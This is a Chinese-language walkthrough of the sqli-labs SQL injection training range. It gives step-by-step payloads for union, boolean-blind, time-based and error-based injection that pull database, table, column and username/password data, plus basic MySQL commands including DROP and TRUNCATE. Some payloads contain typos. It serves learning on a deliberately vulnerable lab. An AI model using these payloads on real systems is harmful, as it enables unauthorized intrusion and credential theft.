sqli-labs靶场通关

sqli-las通关

mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库

补充:

  1. cmd 窗口进入

    mysql -u root -p // 密码 
    
  2. 列出mysql的状态信息:

    status;
    
  3. 展示数据库

    show databases;
    
  4. 打开数据库

    use 数据库名;
    use mysql;
    
  5. 展示数据库;

    show tables;
    
  6. 显示表的结构

    describe 数据表名;
    describe user;
    show columns from 数据表名;
    show columns from user;
    
  7. 展示users表里的password 和id

    seclect * from users;
    //或者单看password;
    select password from users;
    
  8. 显示表的创建过程

    show create table 表名;
    show create table user;
    
  9. 清空数据表慎用

    delect from 数据库名;
    delect from test01;
    truncat table 数据表名;
    truncat table test01;
    
  10. 删除数据表慎用

    drop table 数据表;
    drop table test01;
    
  11. 删除数据库慎用

    drop database 数据库名;
    drop database test;
    
  12. 推出数据库

    exit;
    
  13. 可以展示表中的东西

    select *from tables;
    
  14. 展示系统版本

    select @@version_compile_os; 
    
  15. 展示所安装下的路径;

    select @@datadir;
    
  16. 展示php版本

    select version();
    
  17. 展示所使用的数据库

    select database();
    
    1. 排序,用于判断列数
    order by x;
    
    1. 联合查询,起着合并查询的作用
    union select 1,2,3;        //获取显示位
    

+++

常见的注入方法

(原因:用户输入的东西未被过滤就被拼接到了源代码中执行导致错误)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

@ UNION query SQL injection(联合查询注入)
@ Error-based SQL injection(错型注入)
@ Boolean-based blind SQL injection(基于布尔的盲注)
@ Time-based blind SQL injection(基于时间的盲注)
@ Stacked queries SQL injection(可多语句查询注入)

+++

打关

less 1 (union联合查询)

第一步:判断正确的输入形式

?id=1'
?id=1')
?id=1"
?d=1")

第二步:爆列

?id=-1')order by 3--+

第三步:爆出显示列 看看那几列在页面显示

?id=-1') union select 1,2,3--+

第四步:显示版本,通过查询可以知道当前数据看是

?id=-1')union select 1,database(),version()--+

第五步:获取所有数据库

id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+  //这里得到了包括security数据库表名的表

第六步:查询security表下的表

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schama='security' //这里知道了security表下有一个users表

第七步:知道表几列后查询其中的字段和内容

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第七步:知道内容之后使其显示密码等

?id=-1') union select 1,2,group_concat(username,id,password) from users--+

less 2

+++

less 3

第一步:判断正确的输入形式

?id=1'--+
?id=1')--+
?id=1")--+
?d=1")--+

第二步:爆列

?id=-1')order by 3--+

第三步:爆出显示列 看看那几列在页面显示

?id=-1') union select 1,2,3--+

第四步:显示版本,通过查询可以知道当前数据看是

?id=-1')union select 1,database(),version()--+

第五步:爆表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第六步:知道表几列后查询其中的字段和内容

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第七步:知道内容之后使其显示密码等

?id=-1') union select 1,2,group_concat(username,id,password) from users--+

+++

less 4同上

+++

less 5(布尔盲注)

正确的时候显示**you are in…**但不显示正确的结果,错误不显示,是典型的布尔盲注.

  1. 先看数据库的长度

    ?id=1'and length((select database()))>9--+
    
  2. 判断第一个字母是不是s

 id=1' and  left((select database()),1)='s'--+
  1. 判断第二个字母是不是e
id=1andleft((database()),2)='se'--+

​ 一次类推…

或者

id=1%27%20and%20ascii(substr(database(),1,1))=115--+
/* b是要截取的位置,c是截取的长度*/
  1. 判断所有表名字符的长度

    ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+  
    //也可以='security' 这样逐个判断
    
  2. 逐个判断表名字

id=1'and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>99--+
  1. 判断所有字段名的长度:

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
  1. 逐个判断字段名

    
    ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
    
  2. 判断字段内容的长度

    ?id=1' and length((select group_concat(username,password) from users))>109--+
    
  3. 逐个检查内容

    ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
    
    //后续只改b中的数字从1到2以此类推开始就可以了
    

+++

less 6

一开始发现应该是数字和双引号的组合才正确,且发现题目是布尔盲注类型,所以按照这个格式继续5关的操作就可以了

+++

less7

开始输入?id=1出现you are in …与之前格式不同,按照之前的四种格式输入都不正确,那么尝试**?id=1’))–+发现又出现了you are in…则?id=1’))–+**是正确的格式,之后按照布尔盲注的方式继续就正确了

+++

less8

同第5关

+++

less9(时间注入)

发现不管输的是对是错都显示都一样,十分的jian,这时候通过时间注入判断

  1. 判断形式

    ?id=1'and if(1=1,sleep(5),1)--+
    //如果是这个形式 就延迟10秒,如果不是执行1,不延迟
    
  2. 判断数据库的长度

    ?id=1' and if(length((select database()))>9,sleep(5),1)--+
    
  3. 逐一判断数据库名字

?id=1'and if ascii(substr((select database())),1,1)=115,sleep(5),1)--+
// 115对应的ascii码是s
  1. 判断表明的长度

    ?id=1' and if(length((select group_concat from information_schema.tables where table_schema=database()and table_name='users'))>20,sleep(5),1)--+
    
  2. 逐一判断表名字

    
    ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
    
  3. 判断字段的长度

    ?id=1' and if(length((select group_concat(username,password)from users))>109,sleep(5),1)--+
    
  4. 判断字段内容

    ?id=1'and if(ascii(substr((select group_concat(username,password)from users),1,1))>50,sleep(5),1)--+
    

+++

less10

  1. 判断形式

    ?id=1'and if(1=1,sleep(5),1)--+
    //发现这种情况页面没有延迟
    //将单引号改为双引号,则页面有延迟了,那么就是双引号了
    

之后做法和第9关就一摸一样了

+++

less11(post联合)

发现它有了输入框,那么就不再可以通过get传参了,本题是post传参 则末尾的注释由**–+变成#**

  1. 判断输入形式

    1'or 1=1#
    //发现此时页面出现了语法报错的信息,说明我们1后面的符号成功闭合了,这就是正确形式
    
  2. 看列数

    1'order by 3#
    //页面爆错,则有2列
    
  3. 获得表名

    1'union select 1,group_concat(schema_name),3 from information_schema.schemata#
    //结果出现了information_schema,dvwa,mysql,performance_schema,security,sys,则我们之后就查询security表里面的数据
    
   
4. 看security表里面的内容

   ```mysql
   1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='security'#
   
   //回显第二列列出了security表下的四个小表,之后就可以一一查询这四个小表下的数据了(里面包括users)
  1. 获得users表中所有字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#  //从这里得到了users表下了 有id,username,password

6.获取用户名,密码等

1' union select 1,2,group_concat(username,id,password) from users #

+++

less12

  1. 判断输入格式

    1'//没反应
    1')//没反应
    1"有反应 并且提示需要括号,则正确形式就是1")
    
  2. 查询语句返回结果的列数

    1")order by 3#
    //报错,但2的时候没有反应 所以返回结果就是2列
    

之后就跟第11关一样了

+++

报错注入

1') and extractvalue(1,concat(0x7e,(select database()),0x7e))#
  • extractvalue () 函数:这是 MySQL 中的一个函数,原本的功能是从 XML 文档中提取指定的节点值等相关操作。但在这里被攻击者利用来进行报错注入。其语法要求有两个参数,第一个参数通常是一个 XML 文档相关的对象或者节点等(不过在这里被传入了一个固定值 “1”,只是为了满足函数语法形式上的调用要求,并不是真正按照其正常功能去使用),第二个参数是一个 XPath 表达式,用于指定要提取的具体内容路径等。
  • concat () 函数:它的作用是将多个字符串进行拼接。在这里用于把特定的字符标记和要获取的数据(也就是通过 “select database ()” 获取的当前数据库名称)拼接在一起,方便后续从报错信息中准确提取出想要的数据内容。
  • 0x7e:在 MySQL 中,“0x7e” 代表的是字符 “~”,将它作为拼接内容,放在要获取的数据两边,起到分隔、标识的作用,这样当函数执行出错返回报错信息时,就能清晰地看到 “~” 包围着的数据库名称了。
  • select database():这是一个简单的查询语句,“database ()” 是 MySQL 的内置函数,其作用就是返回当前所在的数据库名称。整个 “(select database ())” 这部分就是想要通过 “extractvalue ()” 函数报错的方式来获取的关键内容,也就是想办法把数据库名称 “逼” 出来,显示在报错信息里。

+++

less13(报错注入)

  1. 先判断输入格式
1'返回缺少括号 所以正确格式是   1'
  1. 判断列数

    1') order by 3# //显示没有这一列,那么就是2列
    

之后选择输入

1') union select 1,2#   //发现页面没有反应 
再输入一系列的注入语句 ,发现都没有显示

因此判断需要报错注入来判断

1') and extractvalue(1,concat(0x7e,(select database()),0x7e))#    
// 页面回显~security~ 我们知道了存在security这样的表

相同的方式还可以是
1')and updatexml(1,concat(0x7e,(select database()),0x7e),1)#


username=admin') and (select count(*) from information_schema.tables where table_name='security')=1#

less14

先判断输入格式

1"显示语法错误,但是没有提示需要括号,所以这就是正确的格式

先判断输入格式

1"显示语法错误,但是没有提示需要括号,所以这就是正确的格式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/963007.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

DNS缓存详解(DNS Cache Detailed Explanation)

DNS缓存详解 清空DNS缓存可以让网页访问更快捷。本文将从什么是DNS缓存、为什么清空DNS缓存、如何清空DNS缓存、清空DNS缓存存在的问题四个方面详细阐述DNS缓存清空的相关知识。 一、什么是DNS缓存 1、DNS缓存的定义: DNS缓存是域名系统服务在遇到DNS查询时自动…

【VM】VirtualBox安装CentOS8虚拟机

阅读本文前,请先根据 VirtualBox软件安装教程 安装VirtualBox虚拟机软件。 1. 下载centos8系统iso镜像 可以去两个地方下载,推荐跟随本文的操作用阿里云的镜像 centos官网:https://www.centos.org/download/阿里云镜像:http://…

2024第十五届蓝桥杯网安赛道省赛题目--rc4

rc4 一、查壳 无壳,32位 二、IDA分析 1.main 2.sub_401005 根据题目以及该函数的内容都可以让我们确定这是个rc4加密题。 所以

区块链项目孵化与包装设计:从概念到市场的全流程指南

区块链技术的快速发展催生了大量创新项目,但如何将一个区块链项目从概念孵化成市场认可的产品,是许多团队面临的挑战。本文将从孵化策略、包装设计和市场落地三个维度,为你解析区块链项目成功的关键步骤。 一、区块链项目孵化的核心要素 明确…

【机器学习】自定义数据集 使用scikit-learn中svm的包实现svm分类

一、支持向量机(support vector machines. ,SVM)概念 1. SVM 绪论 支持向量机(SVM)的核心思想是找到一个最优的超平面,将不同类别的数据点分开。SVM 的关键特点包括: ① 分类与回归: SVM 可以用于分类&a…

电信传输基本理论/5G网络层次架构——超三万字详解:适用期末考试/考研/工作

电信传输的基本概念 信息、通信、电信、电信传输的定义 信息 信息指的是消息中的有效信息量 通信 通信指的是利用传输媒质将信息从一段传输到另一端 电信 电信的意思是利用电子技术来将信息从一段传输到另一端 电信传输 电信传输的概念就是将含有信息的电信号进行传输…

代码练习3

1 #include <stdio.h>void draw(int n) {for (int i n; i > 1; i--) {// 打印空格for (int j 0; j < n - i; j) {printf(" ");}// 打印星号for (int j 0; j < 2 * i - 1; j) {printf("*");}// 换行printf("\n");} }int main()…

好用的翻译工具

最近看到个好用的翻译工具&#xff0c;叫沉浸式翻译 沉浸式翻译 - 双语对照网页翻译插件 | PDF翻译 | 视频字幕翻译 我下载的是谷歌插件 点击下载插件会跳转到使用文档&#xff0c;跟着一步步操作即可 翻译的效果&#xff0c;我这里用的是免费版的&#xff0c;如果需要加强&…

Linux-CentOS的yum源

1、什么是yum yum是CentOS的软件仓库管理工具。 2、yum的仓库 2.1、yum的远程仓库源 2.1.1、国内仓库 国内较知名的网络源(aliyun源&#xff0c;163源&#xff0c;sohu源&#xff0c;知名大学开源镜像等) 阿里源:https://opsx.alibaba.com/mirror 网易源:http://mirrors.1…

el-table组件样式如何二次修改?

文章目录 前言一、去除全选框按钮样式二、表头颜色的修改 前言 ElementUI中的组件el-table表格组件提供了丰富的样式&#xff0c;有一个全选框的el-table组件&#xff0c;提供了全选框和多选。 一、去除全选框按钮样式 原本默认是有全选框的。假如有一些开发者&#xff0c;因…

一起学SysML v2规范(01)

1 00:00:01,560 --> 00:00:05,840 今天我们开始一个新的系列 2 00:00:06,690 --> 00:00:08,190 一起学SysML v2 3 00:00:08,200 --> 00:00:09,570 规范 4 00:00:15,770 --> 00:00:17,040 这里说一起学 5 00:00:17,050 --> 00:00:18,920 就是说我和大家一起学…

(9)下:学习与验证 linux 里的 epoll 对象里的 EPOLLIN、 EPOLLHUP 与 EPOLLRDHUP 的不同。小例子的实验

&#xff08;4&#xff09;本实验代码的蓝本&#xff0c;是伊圣雨老师里的课本里的代码&#xff0c;略加改动而来的。 以下是 服务器端的代码&#xff1a; 每当收到客户端的报文时&#xff0c;就测试一下对应的 epoll 事件里的事件标志&#xff0c;不读取报文内容&#xff0c;…

【Python】第七弹---Python基础进阶:深入字典操作与文件处理技巧

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】【MySQL】【Python】 目录 1、字典 1.1、字典是什么 1.2、创建字典 1.3、查找 key 1.4、新增/修改元素 1.5、删除元素 1.6、遍历…

[Linux]从零开始的STM32MP157 U-Boot移植

一、前言 在上一次教程中&#xff0c;我们了解了STM32MP157的启动流程与安全启动机制。我们还将FSBL的相关代码移植成功了。大家还记得FSBL的下一个步骤是什么吗&#xff1f;没错&#xff0c;就是SSBL&#xff0c;而且常见的我们将SSBL作为存放U-Boot的地方。所以本次教程&…

消息队列篇--原理篇--常见消息队列总结(RabbitMQ,Kafka,ActiveMQ,RocketMQ,Pulsar)

1、RabbitMQ 特点&#xff1a; AMQP协议&#xff1a;RabbitMQ是基于AMQP&#xff08;高级消息队列协议&#xff09;构建的&#xff0c;支持多种消息传递模式&#xff0c;如发布/订阅、路由、RPC等。多语言支持&#xff1a;支持多种编程语言的客户端库&#xff0c;包括Java、P…

家居EDI:Hom Furniture EDI需求分析

HOM Furniture 是一家成立于1977年的美国家具零售商&#xff0c;总部位于明尼苏达州。公司致力于提供高品质、时尚的家具和家居用品&#xff0c;满足各种家庭和办公需求。HOM Furniture 以广泛的产品线和优质的客户服务在市场上赢得了良好的口碑。公司经营的产品包括卧室、客厅…

【go语言】数组和切片

一、数组 1.1 什么是数组 数组是一组数&#xff1a;数组需要是相同类型的数据的集合&#xff1b;数组是需要定义大小的&#xff1b;数组一旦定义了大小是不可以改变的。 1.2 数组的声明 数组和其他变量定义没有什么区别&#xff0c;唯一的就是这个是一组数&#xff0c;需要给…

51单片机 01 LED

一、点亮一个LED 在STC-ISP中单片机型号选择 STC89C52RC/LE52RC&#xff1b;如果没有找到hex文件&#xff08;在objects文件夹下&#xff09;&#xff0c;在keil中options for target-output- 勾选 create hex file。 如果要修改编程 &#xff1a;重新编译-下载/编程-单片机重…

HTML一般标签和自闭合标签介绍

在HTML中&#xff0c;标签用于定义网页内容的结构和样式。标签通常分为两类&#xff1a;一般标签&#xff08;也称为成对标签或开放闭合标签&#xff09;和自闭合标签&#xff08;也称为空标签或自结束标签&#xff09;。 以下是这两类标签的详细说明&#xff1a; 一、一般标…